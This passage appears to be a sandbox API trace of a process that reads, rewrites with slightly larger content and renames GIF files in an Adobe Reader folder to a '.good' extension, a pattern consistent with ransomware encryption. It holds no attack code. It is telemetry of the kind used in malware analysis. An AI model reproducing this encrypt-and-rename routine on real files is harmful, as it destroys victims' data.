CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\end_review.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\end_review.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0113.579] GetFileType (hFile=0x7c8) returned 0x1 [0113.580] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0113.580] GetFileType (hFile=0x7c8) returned 0x1 [0113.580] WriteFile (in: hFile=0x7c8, lpBuffer=0x35cc4a0*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x35cc4a0*, lpNumberOfBytesWritten=0x1f35be58*=0x390, lpOverlapped=0x0) returned 1 [0113.580] CloseHandle (hObject=0x7c8) returned 1 [0113.581] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\end_review.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\end_review.gif", lpFilePart=0x0) returned 0x4c [0113.581] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\end_review.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\end_review.gif.gоod", lpFilePart=0x0) returned 0x51 [0113.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0113.581] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\end_review.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\end_review.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387afc25, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3fe94bf7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x390)) returned 1 [0113.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0113.581] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\end_review.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\end_review.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\end_review.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\end_review.gif.gоod")) returned 1 [0113.581] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_distributed.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_distributed.gif", lpFilePart=0x0) returned 0x53 [0113.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0113.581] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_distributed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\forms_distributed.gif"), fInfoLevelId=0x0, lpFileInformation=0x35cd760 | out: lpFileInformation=0x35cd760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387d5e6d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x265)) returned 1 [0113.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0113.868] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_distributed.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_distributed.gif", lpFilePart=0x0) returned 0x53 [0113.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0113.868] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_distributed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\forms_distributed.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0113.868] GetFileType (hFile=0x6e4) returned 0x1 [0113.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0113.868] GetFileType (hFile=0x6e4) returned 0x1 [0113.868] GetFileSize (in: hFile=0x6e4, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0x265 [0113.869] ReadFile (in: hFile=0x6e4, lpBuffer=0x34ff178, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf48, lpOverlapped=0x0 | out: lpBuffer=0x34ff178*, lpNumberOfBytesRead=0x1f35bf48*=0x265, lpOverlapped=0x0) returned 1 [0113.870] CloseHandle (hObject=0x6e4) returned 1 [0113.909] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_distributed.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_distributed.gif", lpFilePart=0x0) returned 0x53 [0113.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0113.909] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_distributed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\forms_distributed.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0114.368] GetFileType (hFile=0x7ec) returned 0x1 [0114.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0114.368] GetFileType (hFile=0x7ec) returned 0x1 [0114.368] WriteFile (in: hFile=0x7ec, lpBuffer=0x350ddf8*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x350ddf8*, lpNumberOfBytesWritten=0x1f35be58*=0x270, lpOverlapped=0x0) returned 1 [0114.369] CloseHandle (hObject=0x7ec) returned 1 [0114.370] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_distributed.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_distributed.gif", lpFilePart=0x0) returned 0x53 [0114.370] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_distributed.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_distributed.gif.gоod", lpFilePart=0x0) returned 0x58 [0114.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0114.370] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_distributed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\forms_distributed.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387d5e6d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x4062e4c5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x270)) returned 1 [0114.370] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0114.370] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_distributed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\forms_distributed.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_distributed.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\forms_distributed.gif.gоod")) returned 1 [0114.371] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_received.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_received.gif", lpFilePart=0x0) returned 0x50 [0114.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0114.371] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_received.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\forms_received.gif"), fInfoLevelId=0x0, lpFileInformation=0x350f0e0 | out: lpFileInformation=0x350f0e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387d5e6d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x267)) returned 1 [0114.371] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0114.371] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_received.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_received.gif", lpFilePart=0x0) returned 0x50 [0114.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0114.371] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_received.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\forms_received.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0114.371] GetFileType (hFile=0x7ec) returned 0x1 [0114.371] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0114.371] GetFileType (hFile=0x7ec) returned 0x1 [0114.371] GetFileSize (in: hFile=0x7ec, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0x267 [0114.371] ReadFile (in: hFile=0x7ec, lpBuffer=0x350f630, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf48, lpOverlapped=0x0 | out: lpBuffer=0x350f630*, lpNumberOfBytesRead=0x1f35bf48*=0x267, lpOverlapped=0x0) returned 1 [0114.373] CloseHandle (hObject=0x7ec) returned 1 [0114.411] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_received.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_received.gif", lpFilePart=0x0) returned 0x50 [0114.411] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0114.411] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_received.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\forms_received.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0114.412] GetFileType (hFile=0x7ec) returned 0x1 [0114.412] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0114.412] GetFileType (hFile=0x7ec) returned 0x1 [0114.412] WriteFile (in: hFile=0x7ec, lpBuffer=0x3588950*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x3588950*, lpNumberOfBytesWritten=0x1f35be58*=0x270, lpOverlapped=0x0) returned 1 [0114.413] CloseHandle (hObject=0x7ec) returned 1 [0114.413] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_received.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_received.gif", lpFilePart=0x0) returned 0x50 [0114.413] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_received.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_received.gif.gоod", lpFilePart=0x0) returned 0x55 [0114.413] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0114.413] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_received.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\forms_received.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387d5e6d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x4067a8f8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x270)) returned 1 [0114.413] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0114.413] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_received.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\forms_received.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_received.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\forms_received.gif.gоod")) returned 1 [0114.414] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_super.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_super.gif", lpFilePart=0x0) returned 0x4d [0114.414] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0114.414] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_super.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\forms_super.gif"), fInfoLevelId=0x0, lpFileInformation=0x3589c28 | out: lpFileInformation=0x3589c28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387d5e6d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x228)) returned 1 [0114.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0114.414] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_super.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_super.gif", lpFilePart=0x0) returned 0x4d [0114.414] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0114.414] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_super.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\forms_super.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0114.414] GetFileType (hFile=0x7ec) returned 0x1 [0114.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0114.414] GetFileType (hFile=0x7ec) returned 0x1 [0114.414] GetFileSize (in: hFile=0x7ec, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0x228 [0114.414] ReadFile (in: hFile=0x7ec, lpBuffer=0x358a118, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf48, lpOverlapped=0x0 | out: lpBuffer=0x358a118*, lpNumberOfBytesRead=0x1f35bf48*=0x228, lpOverlapped=0x0) returned 1 [0114.899] CloseHandle (hObject=0x7ec) returned 1 [0114.936] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_super.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_super.gif", lpFilePart=0x0) returned 0x4d [0114.936] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0114.936] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_super.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\forms_super.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0114.937] GetFileType (hFile=0x7ec) returned 0x1 [0114.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0114.937] GetFileType (hFile=0x7ec) returned 0x1 [0114.938] WriteFile (in: hFile=0x7ec, lpBuffer=0x3620168*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x3620168*, lpNumberOfBytesWritten=0x1f35be58*=0x230, lpOverlapped=0x0) returned 1 [0114.941] CloseHandle (hObject=0x7ec) returned 1 [0114.941] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_super.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_super.gif", lpFilePart=0x0) returned 0x4d [0114.941] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_super.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_super.gif.gоod", lpFilePart=0x0) returned 0x52 [0114.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0114.941] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_super.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\forms_super.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387d5e6d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x40b8b8f7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x230)) returned 1 [0114.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0114.941] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_super.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\forms_super.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\forms_super.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\forms_super.gif.gоod")) returned 1 [0114.942] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\form_responses.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\form_responses.gif", lpFilePart=0x0) returned 0x50 [0114.942] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0114.942] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\form_responses.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\form_responses.gif"), fInfoLevelId=0x0, lpFileInformation=0x3621428 | out: lpFileInformation=0x3621428*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387afc25, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x3c9)) returned 1 [0114.942] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0114.942] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\form_responses.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\form_responses.gif", lpFilePart=0x0) returned 0x50 [0114.942] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0114.942] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\form_responses.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\form_responses.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0114.943] GetFileType (hFile=0x7ec) returned 0x1 [0114.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0114.943] GetFileType (hFile=0x7ec) returned 0x1 [0114.943] GetFileSize (in: hFile=0x7ec, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0x3c9 [0114.943] ReadFile (in: hFile=0x7ec, lpBuffer=0x3621ae0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf48, lpOverlapped=0x0 | out: lpBuffer=0x3621ae0*, lpNumberOfBytesRead=0x1f35bf48*=0x3c9, lpOverlapped=0x0) returned 1 [0115.232] CloseHandle (hObject=0x7ec) returned 1 [0115.300] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\form_responses.gif", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\form_responses.gif", lpFilePart=0x0) returned 0x50 [0115.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0115.300] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\form_responses.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\form_responses.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0115.301] GetFileType (hFile=0x7ec) returned 0x1 [0115.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0115.301] GetFileType (hFile=0x7ec) returned 0x1 [0115.301] WriteFile (in: hFile=0x7ec, lpBuffer=0x3610288*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x3610288*, lpNumberOfBytesWritten=0x1f35be58*=0x3d0, lpOverlapped=0x0) returned 1 [0115.302] CloseHandle (hObject=0x7ec) returned 1 [0115.302] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\form_responses.gif", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\form_responses.gif", lpFilePart=0x0) returned 0x50 [0115.302] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\form_responses.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\form_responses.gif.gоod", lpFilePart=0x0) returned 0x55 [0115.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0115.302] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\form_responses.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\form_responses.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387afc25, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x40ef8ee2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3d0)) returned 1 [0115.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0115.302] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\form_responses.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\form_responses.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\form_responses.gif.gоod" (normalized: "c:\\program 